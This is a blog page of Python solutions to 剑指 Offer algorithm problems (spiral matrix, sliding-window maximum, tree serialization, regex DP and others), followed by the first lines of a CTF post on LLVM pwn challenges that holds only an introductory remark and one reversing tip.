<h3 id="day25"><a href="#day25" class="headerlink" title="day25"></a>day25</h3><h4 id="剑指-Offer-29-顺时针打印矩阵"><a href="#剑指-Offer-29-顺时针打印矩阵" class="headerlink" title="剑指 Offer 29. 顺时针打印矩阵"></a>剑指 Offer 29. 顺时针打印矩阵</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def spiralOrder(self, matrix: List[List[int]]) -> List[int]:</span><br><span class="line"> if not len(matrix):</span><br><span class="line"> return []</span><br><span class="line"> m, n, result = len(matrix), len(matrix[0]), []</span><br><span class="line"> for i in range(min(m, n) // 2):</span><br><span class="line"> for j in range(i, n - i):</span><br><span class="line"> result.append(matrix[i][j])</span><br><span class="line"> for j in range(i + 1, m - 1 - i):</span><br><span class="line"> result.append(matrix[j][n - 1 - i])</span><br><span class="line"> for j in reversed(range(i, n - i)):</span><br><span class="line"> result.append(matrix[m - 1 - i][j])</span><br><span class="line"> for j in reversed(range(i + 1, m - 1 - i)):</span><br><span class="line"> result.append(matrix[j][i])</span><br><span class="line"> if m <= n:</span><br><span class="line"> if m & 1:</span><br><span class="line"> i = m // 2</span><br><span class="line"> for j in range(i, n - i):</span><br><span class="line"> result.append(matrix[i][j])</span><br><span class="line"> else:</span><br><span class="line"> if n & 1:</span><br><span class="line"> i = n // 2</span><br><span class="line"> for j in range(i, m - i):</span><br><span class="line"> result.append(matrix[j][i])</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-31-栈的压入、弹出序列"><a href="#剑指-Offer-31-栈的压入、弹出序列" class="headerlink" title="剑指 Offer 31. 栈的压入、弹出序列"></a>剑指 Offer 31. 栈的压入、弹出序列</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def validateStackSequences(self, pushed: List[int], popped: List[int]) -> bool:</span><br><span class="line"> idx1, idx2, n = 0, 0, len(pushed)</span><br><span class="line"> stack = []</span><br><span class="line"> while idx2 < n:</span><br><span class="line"> if len(stack) > 0 and popped[idx2] == stack[-1]:</span><br><span class="line"> stack.pop()</span><br><span class="line"> idx2 += 1</span><br><span class="line"> continue</span><br><span class="line"> while idx1 < n and popped[idx2] != pushed[idx1]:</span><br><span class="line"> stack.append(pushed[idx1])</span><br><span class="line"> idx1 += 1</span><br><span class="line"> if idx1 == n:</span><br><span class="line"> return False</span><br><span class="line"> else:</span><br><span class="line"> idx1 += 1</span><br><span class="line"> idx2 += 1</span><br><span class="line"> return True</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day26"><a href="#day26" class="headerlink" title="day26"></a>day26</h3><h4 id="剑指-Offer-20-表示数值的字符串"><a href="#剑指-Offer-20-表示数值的字符串" class="headerlink" title="剑指 Offer 20. 表示数值的字符串"></a>剑指 Offer 20. 表示数值的字符串</h4><p>有限状态自动机<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def isNumber(self, s: str) -> bool:</span><br><span class="line"> states = [</span><br><span class="line"> { ' ': 0, 's': 1, 'd': 2, '.': 4 }, # 0. start with 'blank'</span><br><span class="line"> { 'd': 2, '.': 4 } , # 1. 'sign' before 'e'</span><br><span class="line"> { 'd': 2, '.': 3, 'e': 5, ' ': 8 }, # 2. 'digit' before 'dot'</span><br><span class="line"> { 'd': 3, 'e': 5, ' ': 8 }, # 3. 'digit' after 'dot'</span><br><span class="line"> { 'd': 3 }, # 4. 'digit' after 'dot' (‘blank’ before 'dot')</span><br><span class="line"> { 's': 6, 'd': 7 }, # 5. 'e'</span><br><span class="line"> { 'd': 7 }, # 6. 'sign' after 'e'</span><br><span class="line"> { 'd': 7, ' ': 8 }, # 7. 'digit' after 'e'</span><br><span class="line"> { ' ': 8 } # 8. end with 'blank'</span><br><span class="line"> ]</span><br><span class="line"> p = 0 # start with state 0</span><br><span class="line"> for c in s:</span><br><span class="line"> if '0' <= c <= '9': t = 'd' # digit</span><br><span class="line"> elif c in "+-": t = 's' # sign</span><br><span class="line"> elif c in "eE": t = 'e' # e or E</span><br><span class="line"> elif c in ". ": t = c # dot, blank</span><br><span class="line"> else: t = '?' # unknown</span><br><span class="line"> if t not in states[p]: return False</span><br><span class="line"> p = states[p][t]</span><br><span class="line"> return p in (2, 3, 7, 8)</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="面试题67-把字符串转换成整数"><a href="#面试题67-把字符串转换成整数" class="headerlink" title="面试题67. 把字符串转换成整数"></a>面试题67. 把字符串转换成整数</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def strToInt(self, str: str) -> int:</span><br><span class="line"> result, idx, n = 0, 0, len(str)</span><br><span class="line"> while idx < n and str[idx] == ' ':</span><br><span class="line"> idx += 1</span><br><span class="line"> if idx == n:</span><br><span class="line"> return result</span><br><span class="line"> flag = 0</span><br><span class="line"> if str[idx] == '+':</span><br><span class="line"> idx += 1</span><br><span class="line"> elif str[idx] == '-':</span><br><span class="line"> flag = 1</span><br><span class="line"> idx += 1</span><br><span class="line"> while idx < n and '0' <= str[idx] <= '9':</span><br><span class="line"> result *= 10</span><br><span class="line"> result += ord(str[idx]) - 48</span><br><span class="line"> idx += 1</span><br><span class="line"> if flag:</span><br><span class="line"> result = -result</span><br><span class="line"> result = min(result, (1 << 31) - 1)</span><br><span class="line"> result = max(result, - (1 << 31))</span><br><span class="line"> return result</span><br><span class="line"> </span><br></pre></td></tr></table></figure>
<h3 id="day27"><a href="#day27" class="headerlink" title="day27"></a>day27</h3><h4 id="剑指-Offer-59-I-滑动窗口的最大值"><a href="#剑指-Offer-59-I-滑动窗口的最大值" class="headerlink" title="剑指 Offer 59 - I. 滑动窗口的最大值"></a>剑指 Offer 59 - I. 滑动窗口的最大值</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:</span><br><span class="line"> deque = collections.deque()</span><br><span class="line"> res, n = [], len(nums)</span><br><span class="line"> for i, j in zip(range(1 - k, 1 - k + n), range(n)):</span><br><span class="line"> if i > 0 and deque[0] == nums[i - 1]:</span><br><span class="line"> deque.popleft()</span><br><span class="line"> while deque and deque[-1] < nums[j]:</span><br><span class="line"> deque.pop()</span><br><span class="line"> deque.append(nums[j])</span><br><span class="line"> if i >= 0:</span><br><span class="line"> res.append(deque[0])</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="面试题59-II-队列的最大值"><a href="#面试题59-II-队列的最大值" class="headerlink" title="面试题59 - II. 队列的最大值"></a>面试题59 - II. 队列的最大值</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">import queue</span><br><span class="line">class MaxQueue:</span><br><span class="line"></span><br><span class="line"> def __init__(self):</span><br><span class="line"> self.queue = queue.Queue()</span><br><span class="line"> self.deque = queue.deque()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def max_value(self) -> int:</span><br><span class="line"> if self.deque:</span><br><span class="line"> return self.deque[0]</span><br><span class="line"> else:</span><br><span class="line"> return -1</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def push_back(self, value: int) -> None:</span><br><span class="line"> self.queue.put(value)</span><br><span class="line"> while self.deque and self.deque[-1] < value:</span><br><span class="line"> self.deque.pop()</span><br><span class="line"> self.deque.append(value)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def pop_front(self) -> int:</span><br><span class="line"> if self.queue.empty():</span><br><span class="line"> return -1</span><br><span class="line"> val = self.queue.get()</span><br><span class="line"> if val == self.deque[0]:</span><br><span class="line"> self.deque.popleft()</span><br><span class="line"> return val</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># Your MaxQueue object will be instantiated and called as such:</span><br><span class="line"># obj = MaxQueue()</span><br><span class="line"># param_1 = obj.max_value()</span><br><span class="line"># obj.push_back(value)</span><br><span class="line"># param_3 = obj.pop_front()</span><br></pre></td></tr></table></figure>
<h3 id="day28"><a href="#day28" class="headerlink" title="day28"></a>day28</h3><h4 id="剑指-Offer-37-序列化二叉树"><a href="#剑指-Offer-37-序列化二叉树" class="headerlink" title="剑指 Offer 37. 序列化二叉树"></a>剑指 Offer 37. 序列化二叉树</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode(object):</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Codec:</span><br><span class="line"></span><br><span class="line"> def serialize(self, root):</span><br><span class="line"> """Encodes a tree to a single string.</span><br><span class="line"> </span><br><span class="line"> :type root: TreeNode</span><br><span class="line"> :rtype: str</span><br><span class="line"> """</span><br><span class="line"> if not root:</span><br><span class="line"> return '[]'</span><br><span class="line"> res = []</span><br><span class="line"> deque = collections.deque()</span><br><span class="line"> deque.append(root)</span><br><span class="line"> while deque:</span><br><span class="line"> node = deque.popleft()</span><br><span class="line"> if node:</span><br><span class="line"> res.append(str(node.val))</span><br><span class="line"> deque.append(node.left)</span><br><span class="line"> deque.append(node.right)</span><br><span class="line"> else:</span><br><span class="line"> res.append('null')</span><br><span class="line"> return '[' + ','.join(res) + ']'</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"> def deserialize(self, data):</span><br><span class="line"> """Decodes your encoded data to tree.</span><br><span class="line"> </span><br><span class="line"> :type data: str</span><br><span class="line"> :rtype: TreeNode</span><br><span class="line"> """</span><br><span class="line"> if data == '[]':</span><br><span class="line"> return None</span><br><span class="line"> vals, i = data[1:-1].split(','), 1</span><br><span class="line"> deque = collections.deque()</span><br><span class="line"> root = TreeNode(int(vals[0]))</span><br><span class="line"> deque.append(root)</span><br><span class="line"> while deque:</span><br><span class="line"> node = deque.popleft()</span><br><span class="line"> if vals[i] != 'null':</span><br><span class="line"> node.left = TreeNode(int(vals[i]))</span><br><span class="line"> deque.append(node.left)</span><br><span class="line"> i += 1</span><br><span class="line"> if vals[i] != 'null':</span><br><span class="line"> node.right = TreeNode(int(vals[i]))</span><br><span class="line"> deque.append(node.right)</span><br><span class="line"> i += 1</span><br><span class="line"> return root</span><br><span class="line"></span><br><span class="line"># Your Codec object will be instantiated and called as such:</span><br><span class="line"># codec = Codec()</span><br><span class="line"># codec.deserialize(codec.serialize(root))</span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-38-字符串的排列"><a href="#剑指-Offer-38-字符串的排列" class="headerlink" title="剑指 Offer 38. 字符串的排列"></a>剑指 Offer 38. 字符串的排列</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def permutation(self, s: str) -> List[str]:</span><br><span class="line"> c, res = list(s), []</span><br><span class="line"> def dfs(x):</span><br><span class="line"> if x == len(s) - 1:</span><br><span class="line"> res.append(''.join(c))</span><br><span class="line"> return</span><br><span class="line"> dic = set()</span><br><span class="line"> for i in range(x, len(s)):</span><br><span class="line"> if c[i] in dic:</span><br><span class="line"> continue</span><br><span class="line"> dic.add(c[i])</span><br><span class="line"> c[i], c[x] = c[x], c[i]</span><br><span class="line"> dfs(x + 1)</span><br><span class="line"> c[i], c[x] = c[x], c[i]</span><br><span class="line"> dfs(0)</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day29"><a href="#day29" class="headerlink" title="day29"></a>day29</h3><h4 id="剑指-Offer-19-正则表达式匹配"><a href="#剑指-Offer-19-正则表达式匹配" class="headerlink" title="剑指 Offer 19. 正则表达式匹配"></a>剑指 Offer 19. 正则表达式匹配</h4><p>dp, time: O(mn), space: O(mn)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def isMatch(self, s: str, p: str) -> bool:</span><br><span class="line"> m, n = len(s) + 1, len(p) + 1</span><br><span class="line"> dp = [[False] * n for _ in range(m)]</span><br><span class="line"> dp[0][0] = True</span><br><span class="line"> for i in range(2, n, 2):</span><br><span class="line"> dp[0][i] = dp[0][i - 2] and p[i - 1] == '*'</span><br><span class="line"> for i in range(1, m):</span><br><span class="line"> for j in range(1, n):</span><br><span class="line"> if p[j - 1] == '*':</span><br><span class="line"> dp[i][j] = dp[i][j - 2] or (p[j - 2] == s[i - 1] and dp[i - 1][j]) or (p[j - 2] == '.' and dp[i - 1][j])</span><br><span class="line"> else:</span><br><span class="line"> dp[i][j] = (p[j - 1] == '.' and dp[i - 1][j - 1]) or (p[j - 1] == s[i - 1] and dp[i - 1][j - 1])</span><br><span class="line"> return dp[-1][-1]</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-49-丑数"><a href="#剑指-Offer-49-丑数" class="headerlink" title="剑指 Offer 49. 丑数"></a>剑指 Offer 49. 丑数</h4><p>dp, time: O(n), space: O(n)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def nthUglyNumber(self, n: int) -> int:</span><br><span class="line"> res = [0] * (n + 1)</span><br><span class="line"> res[1] = 1</span><br><span class="line"> p2, p3, p5 = 1, 1, 1</span><br><span class="line"> for i in range(2, n + 1):</span><br><span class="line"> res[i] = min(2 * res[p2], 3 * res[p3], 5 * res[p5])</span><br><span class="line"> if res[i] == 2 * res[p2]:</span><br><span class="line"> p2 += 1</span><br><span class="line"> if res[i] == 3 * res[p3]:</span><br><span class="line"> p3 += 1</span><br><span class="line"> if res[i] == 5 * res[p5]:</span><br><span class="line"> p5 += 1</span><br><span class="line"> return res[-1]</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-60-n个骰子的点数"><a href="#剑指-Offer-60-n个骰子的点数" class="headerlink" title="剑指 Offer 60. n个骰子的点数"></a>剑指 Offer 60. n个骰子的点数</h4><p>dp, time: O(n**2), space: O(n)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def dicesProbability(self, n: int) -> List[float]:</span><br><span class="line"> dp = [1/ 6] * 6</span><br><span class="line"> for i in range(2, n + 1):</span><br><span class="line"> tmp = [0] * (5 * i + 1)</span><br><span class="line"> for j in range(len(dp)):</span><br><span class="line"> for k in range(6):</span><br><span class="line"> tmp[j + k] += dp[j] / 6</span><br><span class="line"> dp = tmp</span><br><span class="line"> return dp</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="day30"><a href="#day30" class="headerlink" title="day30"></a>day30</h3><h4 id="剑指-Offer-17-打印从1到最大的n位数"><a href="#剑指-Offer-17-打印从1到最大的n位数" class="headerlink" title="剑指 Offer 17. 打印从1到最大的n位数"></a>剑指 Offer 17. 打印从1到最大的n位数</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def printNumbers(self, n: int) -> List[int]:</span><br><span class="line"> def dfs(x):</span><br><span class="line"> if x == n:</span><br><span class="line"> s = ''.join(num[self.start:])</span><br><span class="line"> if s != '0':</span><br><span class="line"> res.append(int(s))</span><br><span class="line"> if n - self.start == self.nine:</span><br><span class="line"> self.start -= 1</span><br><span class="line"> return</span><br><span class="line"> for i in range(10):</span><br><span class="line"> if i == 9:</span><br><span class="line"> self.nine += 1</span><br><span class="line"> num[x] = str(i)</span><br><span class="line"> dfs(x + 1)</span><br><span class="line"> self.nine -= 1</span><br><span class="line"> num, res = ['0'] * n, []</span><br><span class="line"> self.nine = 0</span><br><span class="line"> self.start = n - 1</span><br><span class="line"> dfs(0)</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-51-数组中的逆序对"><a href="#剑指-Offer-51-数组中的逆序对" class="headerlink" title="剑指 Offer 51. 数组中的逆序对"></a>剑指 Offer 51. 数组中的逆序对</h4><p>base merge sort, time: O(nlogn), space: O(n)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def reversePairs(self, nums: List[int]) -> int:</span><br><span class="line"> def merge_sort(l, r):</span><br><span class="line"> if l >= r:</span><br><span class="line"> return 0</span><br><span class="line"> m = (l + r) // 2</span><br><span class="line"> res = merge_sort(l, m) + merge_sort(m + 1, r)</span><br><span class="line"> i, j = l, m + 1</span><br><span class="line"> tmp[l:r + 1] = nums[l:r + 1]</span><br><span class="line"> for k in range(l, r + 1):</span><br><span class="line"> if i == m + 1:</span><br><span class="line"> nums[k] = tmp[j]</span><br><span class="line"> j += 1</span><br><span class="line"> elif j == r + 1 or tmp[i] <= tmp[j]:</span><br><span class="line"> nums[k] = tmp[i]</span><br><span class="line"> i += 1</span><br><span class="line"> else:</span><br><span class="line"> nums[k] = tmp[j]</span><br><span class="line"> j += 1</span><br><span class="line"> res += m + 1 - i</span><br><span class="line"> return res</span><br><span class="line"> tmp = [0] * len(nums)</span><br><span class="line"> return merge_sort(0, len(nums) - 1)</span><br></pre></td></tr></table></figure></p>
<h3 id="day31"><a href="#day31" class="headerlink" title="day31"></a>day31</h3><h4 id="剑指-Offer-14-II-剪绳子-II"><a href="#剑指-Offer-14-II-剪绳子-II" class="headerlink" title="剑指 Offer 14- II. 剪绳子 II"></a>剑指 Offer 14- II. 剪绳子 II</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def cuttingRope(self, n: int) -> int:</span><br><span class="line"> if n <= 3:</span><br><span class="line"> return n - 1</span><br><span class="line"> quotient, remainder, p = n // 3, n % 3, 1000000007</span><br><span class="line"> if remainder == 0:</span><br><span class="line"> return 3 ** quotient % p</span><br><span class="line"> elif remainder == 1:</span><br><span class="line"> return 3 ** (quotient - 1) * 4 % p</span><br><span class="line"> else:</span><br><span class="line"> return 3 ** quotient * 2 % p</span><br><span class="line"> </span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-43-1~n-整数中-1-出现的次数"><a href="#剑指-Offer-43-1~n-整数中-1-出现的次数" class="headerlink" title="剑指 Offer 43. 1~n 整数中 1 出现的次数"></a>剑指 Offer 43. 1~n 整数中 1 出现的次数</h4><p>ref: <a target="_blank" rel="noopener" href="https://leetcode.cn/problems/1nzheng-shu-zhong-1chu-xian-de-ci-shu-lcof/solution/mian-shi-ti-43-1n-zheng-shu-zhong-1-chu-xian-de-2/">https://leetcode.cn/problems/1nzheng-shu-zhong-1chu-xian-de-ci-shu-lcof/solution/mian-shi-ti-43-1n-zheng-shu-zhong-1-chu-xian-de-2/</a><br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def countDigitOne(self, n: int) -> int:</span><br><span class="line"> digit, res = 1, 0</span><br><span class="line"> high, cur, low = n // 10, n % 10, 0</span><br><span class="line"> while high != 0 or cur != 0:</span><br><span class="line"> if cur == 0:</span><br><span class="line"> res += high * digit</span><br><span class="line"> elif cur == 1:</span><br><span class="line"> res += high * digit + low + 1</span><br><span class="line"> else:</span><br><span class="line"> res += (high + 1) * digit</span><br><span class="line"> low += cur * digit</span><br><span class="line"> cur = high % 10</span><br><span class="line"> high //= 10</span><br><span class="line"> digit *= 10</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-44-数字序列中某一位的数字"><a href="#剑指-Offer-44-数字序列中某一位的数字" class="headerlink" title="剑指 Offer 44. 数字序列中某一位的数字"></a>剑指 Offer 44. 数字序列中某一位的数字</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findNthDigit(self, n: int) -> int:</span><br><span class="line"> digit, start, count = 1, 1, 9</span><br><span class="line"> while n > count:</span><br><span class="line"> n -= count</span><br><span class="line"> start *= 10</span><br><span class="line"> digit += 1</span><br><span class="line"> count = 9 * start * digit</span><br><span class="line"> num = start + (n - 1) // digit</span><br><span class="line"> return int(str(num)[(n - 1) % digit])</span><br><span class="line"></span><br></pre></td></tr></table></figure>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2022/08/03/llvm-pwn/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="payoung">
<meta itemprop="description" content="ctfer, pwner, programmer">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="payoung's blog">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2022/08/03/llvm-pwn/" class="post-title-link" itemprop="url">llvm_pwn</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2022-08-03 15:15:46 / 修改时间:17:11:11" itemprop="dateCreated datePublished" datetime="2022-08-03T15:15:46+08:00">2022-08-03</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/CTF/" itemprop="url" rel="index"><span itemprop="name">CTF</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>现在pwn卷的离谱,花样也越来越多了,只能跟着学各种奇奇怪怪的东西。</p>
<h1 id="tips"><a href="#tips" class="headerlink" title="tips"></a>tips</h1><ol>
<li>由于命名空间各种东西逆向起来会比较恶心,主要分析handler函数出题人编写部分的逻辑即可。</li>
